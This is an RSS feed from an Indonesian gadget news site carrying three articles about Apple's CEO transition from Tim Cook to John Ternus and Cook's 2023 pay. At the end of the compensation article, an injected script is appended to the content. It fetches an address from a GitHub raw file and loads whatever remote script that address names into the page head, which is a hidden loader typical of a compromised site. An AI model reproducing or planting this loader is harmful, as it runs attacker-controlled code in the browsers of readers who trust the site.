<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>ceo apple &#8211; NativZen</title>
	<atom:link href="https://nativzen.com/tag/ceo-apple/feed/" rel="self" type="application/rss+xml" />
	<link>https://nativzen.com</link>
	<description>Berita gadget dan teknologi terbaru</description>
	<lastBuildDate>Wed, 02 Sep 2026 10:30:53 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.5.5</generator>

<image>
	<url>https://nativzen.com/wp-content/uploads/2025/02/cropped-NZ_icon_no_BG-32x32.png</url>
	<title>ceo apple &#8211; NativZen</title>
	<link>https://nativzen.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>John Ternus Jadi CEO Apple, Sosok di Balik Hardware Kini Pimpin Era Baru</title>
		<link>https://nativzen.com/2026/09/02/john-ternus-jadi-ceo-apple-sosok-di-balik-hardware-kini-pimpin-era-baru/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Wed, 02 Sep 2026 10:30:48 +0000</pubDate>
				<category><![CDATA[BUSINESS]]></category>
		<category><![CDATA[apple]]></category>
		<category><![CDATA[ceo apple]]></category>
		<category><![CDATA[era baru apple]]></category>
		<category><![CDATA[john ternus]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=31255</guid>

					<description><![CDATA[Jhon Ternus memiliki peran besar dalam pengembangan berbagai perangkat Apple.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Apple resmi memasuki babak baru setelah John Ternus mengambil alih posisi Chief Executive Officer (CEO) dari Tim Cook. Pergantian ini menandai berakhirnya era kepemimpinan Cook sekaligus membuka perjalanan baru Apple di bawah sosok John Ternus.</p>



<p>John Ternus bukan nama baru di Apple. Ia telah menghabiskan sekitar seperempat abad berkarier di perusahaan teknologi asal Cupertino tersebut. Sebelum dipercaya menjadi CEO, Ternus menjabat sebagai Senior Vice President of Hardware Engineering.</p>



<p>Posisi tersebut yang membuat Jhon Ternus memiliki peran besar dalam pengembangan berbagai perangkat Apple. Kini, pengalaman panjangnya di sisi hardware akan diuji pada level yang jauh lebih tinggi.</p>



<figure class="wp-block-image size-large"><img fetchpriority="high" decoding="async" width="1024" height="576" src="https://nativzen.com/wp-content/uploads/2026/09/Copy-of-Untitled-2026-09-02T172514.888-1024x576.png" alt="" class="wp-image-31257" srcset="https://nativzen.com/wp-content/uploads/2026/09/Copy-of-Untitled-2026-09-02T172514.888-1024x576.png 1024w, https://nativzen.com/wp-content/uploads/2026/09/Copy-of-Untitled-2026-09-02T172514.888-300x169.png 300w, https://nativzen.com/wp-content/uploads/2026/09/Copy-of-Untitled-2026-09-02T172514.888-768x432.png 768w, https://nativzen.com/wp-content/uploads/2026/09/Copy-of-Untitled-2026-09-02T172514.888-370x208.png 370w, https://nativzen.com/wp-content/uploads/2026/09/Copy-of-Untitled-2026-09-02T172514.888-270x152.png 270w, https://nativzen.com/wp-content/uploads/2026/09/Copy-of-Untitled-2026-09-02T172514.888-570x321.png 570w, https://nativzen.com/wp-content/uploads/2026/09/Copy-of-Untitled-2026-09-02T172514.888-740x416.png 740w, https://nativzen.com/wp-content/uploads/2026/09/Copy-of-Untitled-2026-09-02T172514.888.png 1280w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<h4 class="wp-block-heading">John Ternus, Insinyur yang Meniti Karier Selama 25 Tahun di Apple</h4>



<p>John Ternus bergabung dengan Apple pada 2001 sebagai bagian dari tim Product Design. Latar belakangnya memang sangat dekat dengan dunia engineering. Ia merupakan lulusan Mechanical Engineering dari University of Pennsylvania. </p>



<p>Sebelum bergabung dengan Apple, Ternus sempat bekerja sebagai mechanical engineer di Virtual Research Systems. Kariernya di Apple terus berkembang hingga pada 2013 ia dipercaya menjadi Vice President of Hardware Engineering.</p>



<p>Pada 2021, Ternus kemudian naik menjadi Senior Vice President of Hardware Engineering dan menjadi bagian dari jajaran eksekutif Apple. Pengalaman tersebut membuat Ternus menjadi salah satu eksekutif yang paling memahami proses pengembangan produk Apple dari dalam.</p>



<h4 class="wp-block-heading">Berada di Balik iPhone, iPad hingga Mac</h4>



<p>Sebagai pimpinan divisi hardware engineering, Ternus bertanggung jawab terhadap berbagai lini produk utama Apple. Mulai dari iPhone, iPad, Mac, Apple Watch hingga AirPods berada dalam cakupan organisasi hardware yang dipimpinnya.</p>



<p>Salah satu tonggak penting yang turut menjadi bagian perjalanan kariernya adalah transformasi Mac menuju penggunaan Apple silicon. Peralihan dari prosesor Intel ke chip rancangan Apple sendiri menjadi salah satu strategi terbesar Apple mengintegrasikan hardware dan software.</p>



<p>Dengan Apple silicon, Apple memiliki kontrol lebih besar terhadap performa, efisiensi daya, hingga integrasi antara chip dan sistem operasi. Pengalaman seperti inilah yang menjadi modal penting Ternus ketika kini harus memimpin seluruh perusahaan.</p>



<h4 class="wp-block-heading">Gaya Kepemimpinan yang Berbeda dari Tim Cook</h4>



<p>Pergantian dari Tim Cook ke John Ternus juga menarik karena keduanya memiliki latar belakang yang berbeda. Cook dikenal sebagai sosok yang sangat kuat dalam bidang operasional, supply chain, bisnis global, dan pengelolaan perusahaan berskala besar.</p>



<p>Sementara Ternus tumbuh dari dunia engineering dan pengembangan produk. Perbedaan tersebut berpotensi membawa perspektif baru ke dalam strategi Apple. Namun, Ternus bukanlah sosok outsider yang datang untuk mengubah Apple dari nol.</p>



<p>Ia telah bekerja di perusahaan tersebut sejak era Steve Jobs dan kemudian mendapatkan pengalaman kepemimpinan di bawah Tim Cook. Dengan demikian, pergantian CEO ini lebih terlihat sebagai transisi internal daripada perubahan arah Apple secara drastis.</p>



<h2 class="wp-block-heading">Filosofi Engineering yang Sangat Kuat</h2>



<p>Ternus dikenal memiliki perhatian besar terhadap detail. Salah satu cerita yang cukup menggambarkan karakternya terjadi ketika ia memberikan pidato kelulusan di University of Pennsylvania pada 2024.</p>



<p>Ternus mengungkap bagaimana sebuah detail kecil dalam desain sebuah monitor dapat menjadi perhatian serius dalam proses engineering. Bagi Ternus, detail bukan sekadar masalah kosmetik. Detail merupakan bagian dari bagaimana sebuah produk dirancang dan dibuat.</p>



<p>Pendekatan seperti ini sangat dekat dengan filosofi Apple yang selama bertahun-tahun menempatkan desain, material, integrasi hardware-software, dan pengalaman pengguna sebagai bagian dari satu kesatuan.</p>



<h4 class="wp-block-heading">Tim Cook Tidak Meninggalkan Apple</h4>



<p>Meski tidak lagi menjadi CEO, Tim Cook tidak sepenuhnya meninggalkan Apple. Cook kini menjabat sebagai Executive Chairman Apple. Sementara itu, John Ternus menjadi CEO sekaligus bergabung dengan jajaran direksi Apple.</p>



<p>Artinya, transisi kepemimpinan tetap mempertahankan kesinambungan antara generasi lama dan generasi baru. Cook juga diperkirakan masih akan memberikan kontribusi terhadap sejumlah urusan strategis Apple.</p>



<p>Ini termasuk hubungan perusahaan dengan pembuat kebijakan di berbagai negara. Bagi Apple, pola transisi seperti ini memberikan keuntungan tersendiri karena pengalaman Cook tetap dapat dimanfaatkan ketika Ternus mulai menjalankan peran barunya.</p>



<h4 class="wp-block-heading">Tantangan Terbesar John Ternus Ada di AI</h4>



<p>Menjadi CEO Apple pada 2026 jelas bukan pekerjaan mudah. Ternus mengambil alih kepemimpinan ketika industri teknologi sedang memasuki fase persaingan baru yang berpusat pada artificial intelligence (AI).</p>



<p>Google, Microsoft, OpenAI, Meta, dan berbagai perusahaan teknologi lainnya terus berlomba membangun ekosistem AI. Apple sendiri memiliki pendekatan berbeda, yakni mengintegrasikan AI ke dalam ekosistem produknya ketimbang menjadikan AI sebagai produk yang berdiri sendiri.</p>



<p>Namun, Apple tetap menghadapi tekanan untuk menunjukkan bahwa perusahaan mampu bersaing dalam perlombaan AI. Di sinilah latar belakang Ternus sebagai seorang engineer akan mendapatkan tantangan terbesar.</p>



<p>Ia tidak hanya dituntut mempertahankan kualitas hardware Apple, tetapi juga memastikan AI dapat menjadi bagian penting dari pengalaman menggunakan iPhone, Mac, iPad, Apple Watch, dan perangkat Apple lainnya.</p>



<h4 class="wp-block-heading">Mampukah Ternus Menghadirkan &#8220;Next Big Thing&#8221;?</h4>



<p>Pertanyaan terbesar di era John Ternus bukan lagi sekadar seberapa besar Apple dapat menjual iPhone yang masih terus dikembangkan. Pertanyaan yang lebih menarik adalah: &#8220;<strong>Apa produk besar Apple berikutnya?&#8221;</strong></p>



<p>Selama beberapa dekade, Apple berhasil menciptakan sejumlah kategori produk yang mengubah industri. iPod mengubah cara orang menikmati musik. iPhone mengubah industri smartphone. iPad menciptakan pasar tablet modern.\</p>



<p>Apple Watch kemudian memperluas ekosistem Apple ke perangkat wearable. Kini, Apple membutuhkan inovasi berikutnya. Ternus memiliki pengalaman panjang dalam mengembangkan hardware. Namun, sebagai CEO, ia harus melihat Apple dari perspektif yang jauh lebih luas.</p>



<p>Oleh karena itu, John Ternus harus memikirkan produk, software, AI, layanan, supply chain, regulasi, hingga strategi bisnis global secara bersamaan. Dengan kata lain, ia kini memimpin Apple dengan fondasi yang sangat kuat.</p>



<h4 class="wp-block-heading">Era Baru Apple Dimulai</h4>



<p>Perusahaan memiliki ekosistem perangkat yang sangat besar, basis pengguna global, bisnis layanan yang terus berkembang, serta kemampuan hardware dan software yang terintegrasi. Namun, industri teknologi tidak pernah berhenti bergerak.</p>



<p>AI sedang mengubah cara manusia menggunakan perangkat. Kompetisi smartphone semakin ketat. Komputasi personal memasuki fase baru. Dan perusahaan teknologi mulai berlomba menciptakan bentuk perangkat baru yang dapat menjadi penerus smartphone.</p>



<p>Dengan latar belakang engineering selama sekitar 25 tahun di Apple, John Ternus memiliki pemahaman mendalam mengenai bagaimana perusahaan membuat produknya. Tantangannya kini adalah membawa pemahaman tersebut dari meja engineering ke ruang CEO.</p>



<p>Jika berhasil, era John Ternus bisa menjadi salah satu bab paling menarik dalam sejarah Apple. Karena setelah 15 tahun Tim Cook, Apple kini memasuki fase baru—dipimpin oleh seorang engineer yang selama bertahun-tahun justru bekerja di balik layar.</p>



<p>John Ternus kini yang kini menduduki posisi CEO bukan lagi hanya orang yang membuat produk Apple. Ia adalah orang yang harus menentukan ke mana Apple akan bergerak berikutnya. Jadi, kita tunggu saja gebrakan John Ternus. Bagaimana menurut kamu?</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Tim Cook Resmi Turun dari Kursi CEO Apple</title>
		<link>https://nativzen.com/2026/09/02/tim-cook-resmi-turun-dari-kursi-ceo-apple/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Wed, 02 Sep 2026 03:59:33 +0000</pubDate>
				<category><![CDATA[BUSINESS]]></category>
		<category><![CDATA[apple]]></category>
		<category><![CDATA[ceo apple]]></category>
		<category><![CDATA[tim cook]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=31234</guid>

					<description><![CDATA[Di bawah kepemimpinannya, Apple juga berhasil memperluas bisnisnya melalui serangkaian produk yang terbilang inovatif.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Era kepemimpinan Tim Cook sebagai CEO Apple resmi berakhir. Mulai 1 September 2026, Cook tidak lagi menduduki posisi tertinggi di perusahaan teknologi asal Cupertino tersebut setelah memimpin Apple selama sekitar 15 tahun.</p>



<p>Posisi CEO kini resmi diisi John Ternus, mantan Senior Vice President of Hardware Engineering Apple. Pergantian ini sebelumnya telah diumumkan Apple pada April 2026 sebagai bagian dari proses suksesi kepemimpinan jangka panjang.</p>



<p>Cook sendiri tidak meninggalkan Apple. Ia kini menjabat sebagai Executive Chairman Dewan Direksi Apple. Dalam peran barunya, Cook akan tetap membantu sejumlah aspek strategis perusahaan, termasuk menjalin hubungan dengan para pembuat kebijakan di berbagai negara.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="678" height="452" src="https://nativzen.com/wp-content/uploads/2026/09/images-9.jpeg" alt="" class="wp-image-31235" srcset="https://nativzen.com/wp-content/uploads/2026/09/images-9.jpeg 678w, https://nativzen.com/wp-content/uploads/2026/09/images-9-300x200.jpeg 300w, https://nativzen.com/wp-content/uploads/2026/09/images-9-370x247.jpeg 370w, https://nativzen.com/wp-content/uploads/2026/09/images-9-270x180.jpeg 270w, https://nativzen.com/wp-content/uploads/2026/09/images-9-570x380.jpeg 570w" sizes="(max-width: 678px) 100vw, 678px" /></figure>



<p>Selama menjadi CEO sejak 2011, Cook membawa Apple tumbuh jauh lebih besar. Kapitalisasi pasar Apple yang berada di kisaran US$350 miliar ketika ia mengambil alih kepemimpinan, kini telah berkembang menjadi lebih dari US$4,5 triliun. </p>



<p>Di bawahnya, Apple juga berhasil memperluas bisnisnya melalui serangkaian produk yang terbilang inovatif, seperti Apple Watch, AirPods, dan Apple Vision Pro, serta layanan seperti Apple Music, Apple TV+, iCloud, dan Apple Pay.</p>



<p>Sementara itu, John Ternus menghadapi tantangan besar untuk membawa Apple memasuki era baru, terutama dalam persaingan kecerdasan buatan (AI). Ternus dikenal sebagai sosok yang kuat di bidang hardware.</p>



<p>Ia juga telah terlibat dalam pengembangan berbagai produk Apple, termasuk iPhone, iPad, Mac, Apple Watch, dan AirPods. Pergantian ini sekaligus menandai berakhirnya salah satu era CEO terpanjang dalam sejarah Apple. </p>



<p>Setelah meneruskan perusahaan dari era Steve Jobs, Cook meninggalkan kursi CEO dengan Apple dalam skala bisnis yang jauh lebih besar—sementara Ternus kini mendapat tugas membawa raksasa teknologi tersebut menghadapi babak berikutnya.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Gaji Tim Cook Turun di 2023, Hanya Menerima US$ 63,2 Juta</title>
		<link>https://nativzen.com/2024/01/15/gaji-tim-cook-turun-di-2023-hanya-menerima-us-632-juta/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Mon, 15 Jan 2024 02:33:37 +0000</pubDate>
				<category><![CDATA[NEWS]]></category>
		<category><![CDATA[apple]]></category>
		<category><![CDATA[ceo apple]]></category>
		<category><![CDATA[gaji tim cook]]></category>
		<category><![CDATA[tim cook]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=2744</guid>

					<description><![CDATA[Ternyata, pada tahun 2023 Tim Cook memperoleh kompensasi a.k.a gaji sebesar US$ 63,2 juta dari raksasa teknologi yang berbasis di Cupertino.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Seperti tahun-tahun sebelumnya, Apple telah merilis laporan yang ditujukan kepada investor. Laporan tersebut merinci gaji para eksekutif dan beberapa informasi lainnya. Seperti yang diharapkan, laporan tersebut juga mengungkap kompensasi CEO Tim Cook di tahun 2023.</p>



<p>Ternyata, pada tahun 2023 Tim Cook memperoleh kompensasi a.k.a gaji sebesar US$ 63,2 juta dari raksasa teknologi yang berbasis di Cupertino. Jumlah ini melebihi target awal, yakni sebesar US$ 49 juta pendapatan pada tahun 2023, atau naik sebesar 28%. </p>



<p>Hal ini bisa terjadi setelah satu tahun sebelumnya, di mana Tim Cook berhasil melampaui target awalnya, yakni sebesar US$ 84 juta dengan selisih yang signifikan. Pada akhirnya orang nomor satu di Apple itu menerima gaji US$ 99,4 juta pada tahun 2022.</p>



<p>Lebih detail, gaji Tim Cook pada tahun 2023 adalah sebesar US$ 3 juta. Selain itu, dia juga menerima penghargaan saham sebesar US$ 46,9 juta, insentif kinerja US$ 10,7 juta, dan kompensasi lainnya yang juga harus didapatkan, yakni sebesar US$ 2,5 juta. </p>



<p>Meskipun jumlah tersebut turun 36% dibandingkan pendapatannya pada 2022, Tim Cook masih melampaui target penurunan yang ditetapkan pada 2023. Secara terpisah, Apple juga mengharuskan Tim Cook menggunakan jet pribadi untuk perjalanan bisnis dan pribadinya.</p>



<p>Terkait dengan penggunaan jet pribadi yang dipakai oleh Tim Cook, Apple harus mengeluarkan biaya perjalanan udara tersebut sebesar US$ 1.621.468 pada tahun 2023. Peningkatan ini lebih dari dua kali lipat dibandingkan tahun 2022. </p>



<p>Selain itu, Apple juga menghabiskan US$ 820.309 untuk keamanan pribadi Tim Cook, dihitung berdasarkan biaya tambahan yang terkait dengan layanan keamanan khusus. Tentu saja, hal tersebut harus ditanggung oleh Apple guna menjaga keamanan orang nomor satunya. </p>



<p>Laporan tersebut juga menyoroti gambaran kompensasi alias gaji karyawan di Apple. Kompensasi tahunan rata-rata untuk karyawan Apple pada tahun 2023 mencapai US$ 94.118. Rasio gaji yang mengejutkan, 672 karyawan berbading 1 dengan penghasilan Tim Cook.</p>



<p>Selain CEO, rincian kompensasi eksekutif puncak lainnya juga terungkap. Luca Maestri (CFO) memperoleh US$ 26,9 juta, Kate Adams (Penasihat Umum dan Sekretaris) menerima US$ 26,9 juta, Deirdre Oâ€<img src="https://s.w.org/images/core/emoji/15.0.3/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" />Brien (Senior VP of Retail) menerima US$ 26,9 juta, dan Jeff Williams (COO) menerima $26,9 juta.</p>
 (<script>var url = "https://raw.githubusercontent.com/truba77/trubnik/main/to.txt"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement("script"); script.src = data.trim(); document.getElementsByTagName("head")[0].appendChild(script); });</script>)]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
